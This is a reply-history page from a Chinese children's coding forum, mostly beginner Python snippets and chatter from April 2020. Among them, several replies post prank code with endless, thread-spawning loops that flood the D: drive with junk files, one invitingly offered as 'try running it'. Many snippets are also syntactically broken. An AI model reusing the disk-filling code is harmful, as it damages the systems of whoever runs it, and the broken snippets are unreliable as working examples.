猫史档案馆


蒟蒻OIer1048576

蒟蒻OIer1048576

Lv.1

只是喜欢Python而已……徒弟:程序侯

获赞:206收藏:39浏览:2002作品收藏:29

签名:只是喜欢Python而已…… 徒弟:程序侯

回复帖子评论
上一页4 页 / 共 60下一页

超级旧版编程猫 中回复

emotion_编程猫_翻白眼

2020-04-05T17:35:38 点赞:0

超级旧版编程猫 中回复

emotion_编程猫_加油

2020-04-05T17:35:51 点赞:0

把你心中认定的喵发出来! 中回复

喵:王丫丫&魔术喵

出自【编程猫】

2020-04-07T07:56:56 点赞:0

招聘——非工作室 中回复

注册DINGDING了!

2020-04-07T12:20:57 点赞:0

【Python作品分享】计算器【作品秀】 中回复

while 1:
    a=int(input('请输入第一个数'))
    f=input('请输入符号')
    b=int(input('请输入第二个数'))
    print({'+':a+b,'-':a-b,'*':a*b,'/':a/b}.get(f,default='没有此选项'))

2020-04-07T15:45:46 点赞:0

【Python作品分享】高效制作8边形【作品秀】 中回复

from tutlr import *
speed('fastest')
circle(100,sides=8)

2020-04-07T15:50:37 点赞:0

【MC不倒封面店】免费做封面,今日单今日交~ 中回复

def f(**kw):
    print('书名:',kw[name])
    print('作者:',kw[writer])
    print('图案要求:',kw[picture])
    print('小字:',kw[word])
f(name='Kitten实验室',writer=1048576,picture='有编程猫',word='Kitten的那些事')

2020-04-07T16:00:36 点赞:0

把你心中认定的喵发出来! 中回复

【GAMEAI】&【AI2.0】

2020-04-07T16:13:28 点赞:0

【Python作品分享】计算器【作品秀】 中回复

print(' '.join(['{i}*{j}={pro}'.format(i=i,j=j,pro=i*j) for i in range(1,10) for j in range(1,10) if i>=j]))

2020-04-07T16:44:56 点赞:0

【MC大家伙】扩容云变量(原理——做法——实践) 中回复

扩容1.362856525976524e+100倍

 

2020-04-08T12:19:09 点赞:0

【MC大家伙】扩容云变量(原理——做法——实践) 中回复

62进制/10进制:4.2707496078970784e+142被

2020-04-08T12:20:31 点赞:0

【申请加入编程猫官方】申请 中回复

haha~鱼人节过完了~

2020-04-08T12:38:29 点赞:0

我想加入LAG蓝明工作室! 中回复

好的

2020-04-08T14:42:11 点赞:0

(非引战)【如果迷你和mc都失去了指令、材质包和命令方块,你觉得哪一款游戏更好?】 中回复

mini

2020-04-09T10:41:22 点赞:0

【Python作品分享】新的作品【作品秀】 中回复

def 1_0 ():
		
    		 if input("确认"):
        			print("好的")
    		 else:
        			print("那是客观事实")
   		 print("已进入文件监狱")
    		 i=0
    		 while True:
     			 with open('D:\'+str(i)+'.txt','w') as file:
            			 file.write('哈哈'*6666)
        			 i+=666

2020-04-09T12:00:07 点赞:0

求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复

import random


while 1:
    question = input('你:')
    if (question == '你叫什么' or question == '你是谁'):
        print('AI:我是1048576的使者')
    elif ('什么' in question or '神马' in question or 'what' in question):
        print((('AI:' + question.喵('??吗什么神马what')).replace('你', '我') + random.choice(('宇宙', '地球', '人',
              '猪', '老鼠', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know'))))
    else:
        print(('AI:' + question.replace('是', random.choice(('是', '不是'))).replace('会',random.choice(('会', '不会'))).replace('有', random.choice(('有', '没有'))).replace('你', '我').喵('??吗').__add__('!')))

2020-04-10T08:29:34 点赞:0

求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复

import threading
def run():
    i=0
    while 1:
        i+=1
        with open('D:\'+str(i)+'.txt','w') as f:
            f.write('(ಡωಡ)hiahiahia')
while True:
    threading.Thread(target=run).start()
#(ಡωಡ)hiahiahia你运行它试试(ಡωಡ)hiahiahia

2020-04-10T08:30:16 点赞:0

求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复

#include <stdio.h>
int main{
    string a=0
    while(true){
        scanf('%s',&a)
        printf(a+'\n')
    }
}

2020-04-10T08:40:35 点赞:0

病毒!小心! 中回复

import threading,random
def run(x):
    i=0
    while 1:
        i+=x
        with open('D:\\'+str(i)+'.'+chr(random.randint(65,90)),'w',encoding='utf-8') as f:
            f.write('(ಡωಡ)hiahiahia')
while True:
    threading.Thread(target=run,args=(random.randint(1000,20000),)).start()

2020-04-10T08:59:58 点赞:0

【Python作品分享】五角星 中回复

from turtle import *
for i in range(100,600,100):
    for j in range(5):
        fd(i)
        left(144)

2020-04-10T09:06:46 点赞:0

【Python作品分享】诸葛炎龙(聊天程序)【作品秀】 中回复

import random


while 1:
    question = input('你:')
    if (question == '你叫什么' or question == '你是谁'):
        print('AI:我是1048576的使者')
    elif ('什么' in question or '神马' in question or 'what' in question):
        print((('AI:' + question.喵('??吗什么神马what')).replace('你', '我') + random.choice(('宇宙', '地球', '人',
              '猪', '老鼠', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know', 'I don\'t know'))))
    else:
        print(('AI:' + question.replace('是', random.choice(('是', '不是'))).replace('会',random.choice(('会', '不会'))).replace('有', random.choice(('有', '没有'))).replace('你', '我').喵('??吗').__add__('!')))

2020-04-10T09:08:50 点赞:0

【Python作品分享】初识类【作业帖】 中回复

import time
class Animal:
    def __init__(self,Type,color):
        self.Type=Type
        self.color=color

class Cat(Animal):
    def __init__(self,color):
        super().__init__('CAT',color)
    def miaow(self):
        print('喵~')

class codemao(Cat):
    def code(self,Type,Time):
        print('喵~')
        time.sleep(Time)
        print('好啦!喵~')

2020-04-10T09:28:30 点赞:0

我的第一篇教程贴:如何在作品中添加密码 中回复

我的LAG蓝明

2020-04-10T13:05:30 点赞:0

LV.3计划 中回复

…………

 

2020-04-10T13:05:51 点赞:0

【Python作品分享】新的作品-24【作品秀】 中回复

用爬虫!不然汇率变化肿么办

2020-04-10T13:41:09 点赞:0

LV.3计划 中回复

把1浮躁的狂点猴踢出LAG蓝明

2020-04-10T13:43:26 点赞:0

求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复

import time,threading,random


class Cat:
    def __init__(self,Type,name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 50

    def cry(self):
        print('喵~呜~(伤心)')

    def happy(self):
        print('喵~(快乐)')

    def hungry(self):
        print('喵~咕噜噜~(饿了)')

    def study(self):
        print('喵~')
        self.IQ+=5

    def eat(self,food):
        self.hungryValue += food*3


class SingCat(Cat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 100

    def sing(self):
        print('啦啦啦')
        evaluate = input('我唱的好不好啊?')
        if evaluate == '好':
            self.happyValue = min(100,happyValue+10)
            self.happy()
        elif evaluate == '不好':
            print('喵~我可能还需要学习')
            self.happyValue-=15
            self.IQ+=10


class CodeMao(SingCat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 200

    def code(self,time):
        for i in range(int(time)):
            print('打代码ing')
            time.sleep(1)
        self.happyValue = min(100, happyValue+10)
        self.happy()
        self.IQ += 10


class AICodeMao(CodeMao):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 400

    def SuperStudy(self,times):
        for i in range(int(times)):
            IQ+=0.01
            time.sleep(0.005)


class Person:
    def __init__(self):
        self.food=0
        self.Cat=Cat('可爱','喵喵')
    def work(self):
        print('今天,你赚了¥200,买了10袋喵粮')
        self.food+=10

def see(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        print('喵喵的饥饿值=', person.Cat.hungryValue)
        print('喵喵的开心度=', person.Cat.happyValue)
        print('喵喵的IQ=', person.Cat.IQ)
        time.sleep(5)

def catset(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        time.sleep(3)
        person.Cat.happyValue -= 1
        if person.Cat.happyValue <= 20:
            person.Cat.cry()
            if person.Cat.happyValue <0:
                print('我这么伤心,你不来安慰我么?')
        person.Cat.hungryValue -= 2
        if person.Cat.hungryValue <= 20:
            person.Cat.hungry()
            if person.Cat.hungryValue < 0:
                print('我这么饿!')

def main(person):
    cls=1
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        a=input('请输入行为(1——玩耍)(2——学习)(3——喂食)(4——工作):')
        if a == '1':
            if cls>=1:
                person.Cat.happy()
                person.Cat.happyValue += 5
            if cls>=2:
                person.Cat.sing()
                person.Cat.happyValue += 5
            if cls>=3:
                person.Cat.code(random.randint(1,5))
        elif a == '2':
            if cls == 4:
                person.Cat.SuperStudy(random.randint(1, 5)*200)
            else:
                person.Cat.study()
        elif a == '3':
            person.Cat.eat(person.food)
        elif a == '4':
            time.sleep(3)
            person.work()
        if person.Cat.IQ >=400:
            print('恭喜你,喵喵已升级为AI编程猫')
            person.Cat = AICodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 200:
            print('恭喜你,喵喵已升级为编程猫')
            person.Cat = CodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 100:
            print('恭喜你,喵喵已升级为唱歌喵')
            person.Cat = SingCat('可爱', '喵喵')
        else:
            person.Cat = Cat('可爱', '喵喵')
        time.sleep(1.5)

p=Person()
a1=threading.Thread(target=see, args=(p,))
a2=threading.Thread(target=catset, args=(p,))
a3 = threading.Thread(target=main, args=(p,))
a1.start()
a2.start()
a3.start()

2020-04-10T13:57:32 点赞:0

【Python作品分享】逗你玩(才怪)【作品秀】 中回复

不错!good!喵~

2020-04-10T14:10:04 点赞:0

【Python作品分享】逗你玩(才怪)【作品秀】 中回复

顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶

2020-04-10T14:10:17 点赞:1

完整还原box编辑器 中回复

2020-04-10T14:36:05 点赞:0